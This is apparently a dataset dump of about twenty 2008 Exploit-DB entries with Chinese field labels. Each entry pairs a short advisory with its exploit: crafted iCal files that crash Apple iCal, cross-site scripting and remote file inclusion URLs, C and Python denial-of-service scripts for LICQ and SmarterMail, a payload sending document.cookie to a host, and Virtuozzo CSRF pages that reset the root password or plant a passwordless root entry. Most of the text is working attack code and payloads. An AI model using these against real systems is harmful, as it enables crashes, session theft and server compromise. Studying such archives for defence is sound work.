QLWD/code_shield huggingface dataset:
标题: Apple iCal 3.0.1 - 'ATTACH' Denial of Service EDB-ID: 31620 CVE: 2008-1035 类型: DOS 平台: OSX 发布日期: 2008-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/28633/info

Apple iCal is prone to a denial-of-service vulnerability because it fails to adequately sanitize user-supplied input data.

Successful exploits will crash the application. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

iCal 3.0.1 is vulnerable; other versions may also be affected.

/----------- 

BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME:evento falso
VERSION:2.0
X-WR-RELCALID:71CE8EAD-380B-4EA3-A123-60F9B2A03990
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:11
DTSTART;TZID=America/Buenos_Aires:20071225T000000
DTSTAMP:20071213T143420Z
SUMMARY:evento falso
DTEND;TZID=America/Buenos_Aires:20071225T010000
LOCATION:donde se hace
RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1
TRANSP:OPAQUE
UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9
URL;VALUE=URI:http://pepe.com:443/pepe
ATTACH;FMTTYPE=text/php;X-APPLE-CACHED=1:ical://attachments/4E3646DE-ED2
0-449C-88E7-744E62BC8C12/651D31BE-455E-45ED-99C6-55B9F03A3FA9/popote.php
CREATED:20071213T142720Z
CREATED:20071213T124215Z
BEGIN:VALARM
X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49
ACTION:DISPLAY
DESCRIPTION:Event reminder
TRIGGER:-PT15H
END:VALARM
BEGIN:VALARM
X-WR-ALARMUID:F54A0E05-57B8-4562-8E77-056B19305CD0
ACTION:AUDIO
TRIGGER:-PT15M
ATTACH;VALUE=URI:S=osumi
END:VALARM
END:VEVENT
END:VCALENDAR
  
-----------/ URL: https://www.exploit-db.com/exploits/31620
标题: URLStreet 1.0 - 'seeurl.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31622 CVE: 2008-6205 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28650/info

URLStreet is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

URLStreet 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/URLStreet/seeurl.php?language="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/URLStreet/seeurl.php?language=a&pageno=1&filter=none&order="><script>alert("CANAKKALE-GECiLMEZ")</script>&search=aaa http://www.example.com/URLStreet/seeurl.php?language=a&pageno=1&filter="><script>alert("CANAKKALE-GECiLMEZ")</script>&order=hit&search=aaa URL: https://www.exploit-db.com/exploits/31622
标题: Apple iCal 3.0.1 - 'TRIGGER' Denial of Service EDB-ID: 31619 CVE: 2008-2006 类型: DOS 平台: OSX 发布日期: 2008-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/28632/info

Apple iCal is prone to a denial-of-service vulnerability because it fails to handle specially crafted files.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected.

BEGIN:VCALENDAR
X-WR-CALNAME:Fake event
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
VERSION:2.0
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:10
DTSTART;TZID=America/Buenos_Aires:20071225T000000
DTSTAMP:20071213T124414Z
SUMMARY:Fake Event
DTEND;TZID=America/Buenos_Aires:20071225T010000
RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1
UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9
TRANSP:OPAQUE
CREATED:20071213T124215Z
BEGIN:VALARM
X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49
ACTION:DISPLAY
DESCRIPTION:Event reminder
TRIGGER:-PT65535H
END:VALARM
END:VEVENT
END:VCALENDAR URL: https://www.exploit-db.com/exploits/31619
标题: Web Server Creator 0.1 - 'langfile' Remote File Inclusion EDB-ID: 31616 CVE: 2008-6545 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28631/info

Web Server Creator is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Web Server Creator 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/Web_Server_Creator_path/news/include/createdb.php?langfile;=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31616
标题: Swiki 1.5 - HTML Injection / Cross-Site Scripting EDB-ID: 31628 CVE: 2008-6200 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/28680/info

Swiki is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

Swiki 1.5 is vulnerable; other versions may also be affected. 

http://www.example.com:8000/<script>alert("XSS");</script> URL: https://www.exploit-db.com/exploits/31628
标题: LICQ 1.3.5 - File Descriptor Remote Denial of Service EDB-ID: 31627 CVE: 2008-1996 类型: DOS 平台: UNIX 发布日期: 2008-04-08 漏洞利用脚本: // source: https://www.securityfocus.com/bid/28679/info

LICQ is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

A remote attacker can exploit this issue to crash the affected application, denying service to legitimate users. The attacker may also be able to execute code, but this has not been confirmed. 

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

// change to suit your needs
#define MAX 1024

int fds[MAX];

int main(int argc, char *argv[])
{
   int port,a;
   char host[12];
   struct sockaddr_in victim;
   struct in_addr inp;

   if (argc!=3)
   {
       printf("usage: %s <ip> <port>\n",argv[0]);
       exit(1);
   }

   port=atoi(argv[2]);
   strcpy(host,argv[1]);
   printf("ip=%s\n",host);

   for (a=1;a<=MAX;a++)
   {
       fds[a]=socket(PF_INET,SOCK_STREAM,0);
       victim.sin_family= AF_INET;
       victim.sin_port=htons(port);
       inet_aton(host,&victim.sin_addr);
       connect(fds[a],&victim,sizeof(victim));
   }

   printf("done!");

} URL: https://www.exploit-db.com/exploits/31627
标题: HP OpenView Network Node Manager 7.x - 'ovspmd' Buffer Overflow EDB-ID: 31629 CVE: 2008-1842 类型: DOS 平台: WINDOWS 发布日期: 2008-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/28689/info

HP OpenView Network Node Manager is prone to a buffer-overflow vulnerability.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the Network Node Manager process. This facilitates the remote compromise of affected computers.

Network Node Manager 7.53 running on Microsoft Windows is affected by this issue; other versions and platforms may also be vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31629.zip URL: https://www.exploit-db.com/exploits/31629
标题: Nuke ET 3.4 - 'mensaje' HTML Injection EDB-ID: 31609 CVE: 2008-1873 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28614/info

Nuke ET is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data. Attackers will likely require access to a user account to perform attacks.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Nuke ET 3.4 is vulnerable; other versions may also be affected. 

<DIV 
STYLE="width:expression(document.location='http://www.example.com/nuke/poc.php?cookie='+document.cookie);"> URL: https://www.exploit-db.com/exploits/31609
标题: Apple iCal 3.0.1 - 'COUNT' Integer Overflow EDB-ID: 31613 CVE: 2008-2006 类型: REMOTE 平台: OSX 发布日期: 2008-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/28629/info

Apple iCal is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected. 

BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME: Vulnerable
VERSION:2.0
X-WR-RELCALID:10DE4203-4FA5-4E23-AE4D-9DAE3157C9E5
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:4
DTSTART;TZID=America/Buenos_Aires:20071225T110000
DURATION:PT1H
UID:48878014-5F03-43E5-8639-61E708714F9A
DTSTAMP:20071213T130632Z
SUMMARY:Vuln
CREATED:20071213T130611Z
RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646
END:VEVENT
END:VCALENDAR URL: https://www.exploit-db.com/exploits/31613
标题: Glossaire 2.0 - 'glossaire.php' Cross-Site Scripting EDB-ID: 31606 CVE: 2008-6550 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28609/info

Glossaire is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Glossaire 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/glossaire2.0/glossaire.php?mode=2&limit1=0&limit2=4&letter="> URL: https://www.exploit-db.com/exploits/31606
标题: mcGallery 1.1 - 'show.php?lang' Cross-Site Scripting EDB-ID: 31602 CVE: 2008-6211 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28587/info
      
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
      
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/show.php?lang=<script>alert(document.c-o-o-k-i-e)</script URL: https://www.exploit-db.com/exploits/31602
标题: mcGallery 1.1 - 'resize.php?lang' Cross-Site Scripting EDB-ID: 31601 CVE: 2008-6211 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28587/info
     
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/resize.php?lang=<script>alert(document.c-o-o-k-i-e)</script URL: https://www.exploit-db.com/exploits/31601
标题: Parallels Virtuozzo Containers 3.0.0-25.4.swsoft VZPP Interface Change Pass - Cross-Site Request Forgery EDB-ID: 31604 CVE: 2008-6479 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28593/info

Parallels Virtuozzo Containers is prone to a cross-site request-forgery vulnerability.

Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers.

Virtuozzo Containers 3.0.0-25.4.swsoft is vulnerable; other versions are also affected. 

<!-- poplix papuasia.org -- http://px.dynalias.org -- 04-02-2008 this file exploits a vulnerable installation of virtuozzo web panel by setting root password to "csrfsafepass" tested against Version 25.4.swsoft (build: 3.0.0-25.4.swsoft) perform the following steps to test it: 1. in this file replace 127.0.0.1 with target vps address 2. open a web browser and log into virtuozzo web interface 3. open this file in a new browser window and click the "change pwd" --> <form target=vrtifr name="defaultForm" method="post" action="https://127.0.0.1:4643/vz/cp/pwd"> <input type="hidden" name="passwd" value="csrfsafepass"> <input type="hidden" name="retype" value="csrfsafepass"> <input type="hidden" name="_submit" value="Change" > </form> <iframe style="width:1px;height:1px;visibility:hidden" name="vrtifr"></iframe> <input type=button value="change pwd" onclick="document.defaultForm.submit()"> URL: https://www.exploit-db.com/exploits/31604
标题: Poplar Gedcom Viewer 2.0 - Search Page Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31605 CVE: 2008-1787 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28608/info

Poplar Gedcom Viewer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Poplar Gedcom Viewer 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/poplar/index.php?genID=1&page=search&text="><script>alert("CANAKKALE-GECiLMEZ")</script>&ul=&start=0 http://www.example.com/poplar/index.php?genID=1&page=search&text=&ul="><script>alert("CANAKKALE-GECiLMEZ")</script>&start=0 URL: https://www.exploit-db.com/exploits/31605
标题: RobotStats 0.1 - 'graph.php?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31610 CVE: 2008-6206 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28615/info

RobotStats is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

RobotStats 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/RobotStats_path/graph.php?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31610
标题: mcGallery 1.1 - 'detail.php?lang' Cross-Site Scripting EDB-ID: 31600 CVE: 2008-6211 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28587/info
    
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/detail.php?lang=<script>alert(document.c-o-o-k-i-e)</script URL: https://www.exploit-db.com/exploits/31600
标题: KwsPHP 1.0 ConcoursPhoto Module - 'VIEW' Cross-Site Scripting EDB-ID: 31608 CVE: 2008-1757 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28612/info

KwsPHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/Path/index.php?mod=ConcoursPhoto&VIEW=[XSS] URL: https://www.exploit-db.com/exploits/31608
标题: mcGallery 1.1 - 'stats.php?lang' Cross-Site Scripting EDB-ID: 31599 CVE: 2008-6211 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28587/info
   
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/stats.php?lang=<script>alert(document.c-o-o-k-i-e)</script URL: https://www.exploit-db.com/exploits/31599
标题: SmarterTools SmarterMail 5.0 - HTTP Request Handling Denial of Service EDB-ID: 31607 CVE: 2008-1854 类型: DOS 平台: WINDOWS 发布日期: 2008-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28610/info

SmarterTools SmarterMail is prone to a denial-of-service vulnerability when handling specially crafted HTTP GET, HEAD, PUT, POST, and TRACE requests. When the server eventually resets the request connection, it will crash.

Remote attackers can exploit this issue to deny service to legitimate users.

SmarterMail 5.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
##########################################################################
#
# SmarterMail Web Server 5.0 DoS exploit
# Tested on version 5.0.2999, OS: Windows XPSP2 English
# Tested with GET,HEAD,PUT,POST,TRACE
#
# Bug discovered by Matteo Memelli aka ryujin
# http://www.gray-world.net http://www.be4mind.com
#
##########################################################################
#
# bt ~ # ./smartermail_dos.py -H 192.168.1.245 -P 9998
# [+] Connecting to 192.168.1.245 on port 9998
# [+] Starting DoS attack, it can take some minutes...
# [+] Evil buf sent!
# [+] Now we must wait for a connection reset to crash the server...
# [+] Server Di3d:  Connection reset by peer
# [+] The attack took 113 secs
#
##########################################################################

from socket import *
from optparse import OptionParser
import sys, time

usage =  "%prog -H TARGET_HOST -P TARGET_PORT [-c COMMAND]"
parser = OptionParser(usage=usage)
parser.add_option("-H", "--target_host", type="string",
                  action="store", dest="HOST",
                  help="Target Host")
parser.add_option("-P", "--target_port", type="int",
                  action="store", dest="PORT",
                  help="Target Port")
(options, args) = parser.parse_args()
HOST    = options.HOST
PORT    = options.PORT
if not (HOST and PORT):
   parser.print_help()
   sys.exit()

payload = 'A'*8784
print "[+] Connecting to %s on port %d" % (HOST, PORT)
print "[+] Starting DoS attack, it can take some minutes..."
timestart = time.time()
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
s.send('TRACE ' + payload+"\r\n\r\n")
print "[+] Evil buf sent!"
print "[+] Now we must wait for a connection reset to crash the 
server..."

# IF WE DONT WAIT FOR A CONNECTION RESET THE SERVER WONT CRASH
try:
   data=s.recv(1024)
except error,e:
   print "[+] Server Di3d: ", e[1]
   print "[+] The attack took %d secs" % int(time.time() - timestart)
else:
   print "[-] Attack was not successful!" 
   s.close() URL: https://www.exploit-db.com/exploits/31607
标题: RobotStats 0.1 - 'robotstats.inc.php?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31611 CVE: 2008-6206 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28615/info
 
RobotStats is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
RobotStats 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/RobotStats_path/robotstats.inc.php?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31611
标题: Parallels Virtuozzo Containers 3.0.0-25.4/4.0.0-365.6 VZPP Interface File Manger - Cross-Site Request Forgery EDB-ID: 31603 CVE: 2008-6478 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28589/info

Parallels Virtuozzo Containers is prone to a cross-site request-forgery vulnerability.

Exploiting the issue will allow a remote attacker to use a victim's currently active session to perform certain file-management actions with the privileges of the user running the application. Successful exploits will compromise affected computers.

Virtuozzo Containers 3.0.0-25.4.swsoft and 4.0.0-365.6.swsoft are vulnerable; other versions are also affected.

<!-- poplix papuasia.org -- http://px.dynalias.org -- 04-02-2008 this file exploits a vulnerable installation of virtuozzo web panel by overwriting /etc/passwd.demo tested against Version 365.6.swsoft (build: 4.0.0-365.6.swsoft). It doesn't work with older version due to paths changes. perform the following steps to test it: 1. create a blank /etc/passwd.demo on target machine 2. in this file replace 127.0.0.1 with target vps address 3. open a web browser and log into virtuozzo web interface 4. open this file in a new browser window and click the "lets rock" button when the page is fully loaded 5. check /etc/passwd.demo in the target vps filesystemm --> <script language="JavaScript"> var ok=false; function letsgo(){ ok=true; document.getElementById('form0').submit(); } </script> <!-- this sets /etc as the current path--> <iframe style="width:1px;height:1px;visibility:hidden" name=ifr src="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/index?path=L2V0Yw==" ></iframe> <iframe id=ifr1 style="width:1px;height:1px;visibility:hidden" name=ifr1 onload="if(ok)document.getElementById('form1').submit();" ></iframe> <iframe id=ifr2 style="width:1px;height:1px;visibility:hidden" name=ifr2 > </iframe> <!-- delete /etc/passwd.demo --> <form id=form0 target=ifr1 method=post action="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/list-control" > <input type=hidden name="file-name" value="passwd.demo"> <input type=hidden name=delete value=1> </form> <!-- create /etc/passwd.demo --> <form id=form1 target=ifr2 enctype="multipart/form-data" name="defaultForm" method="POST" action="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/create-file"> <input xmlns:http="http://www.swsoft.com/xsl/cp/http" type="hidden" name="step" value="gen"> <input type=hidden name="file_name" value="passwd.demo"> <input type=hidden name="file_body" value="root::0:0::/root:/bin/bash"> <input type=hidden name="next" value="Create"> </form> <input type=button value="lets rock" onclick="letsgo()"> URL: https://www.exploit-db.com/exploits/31603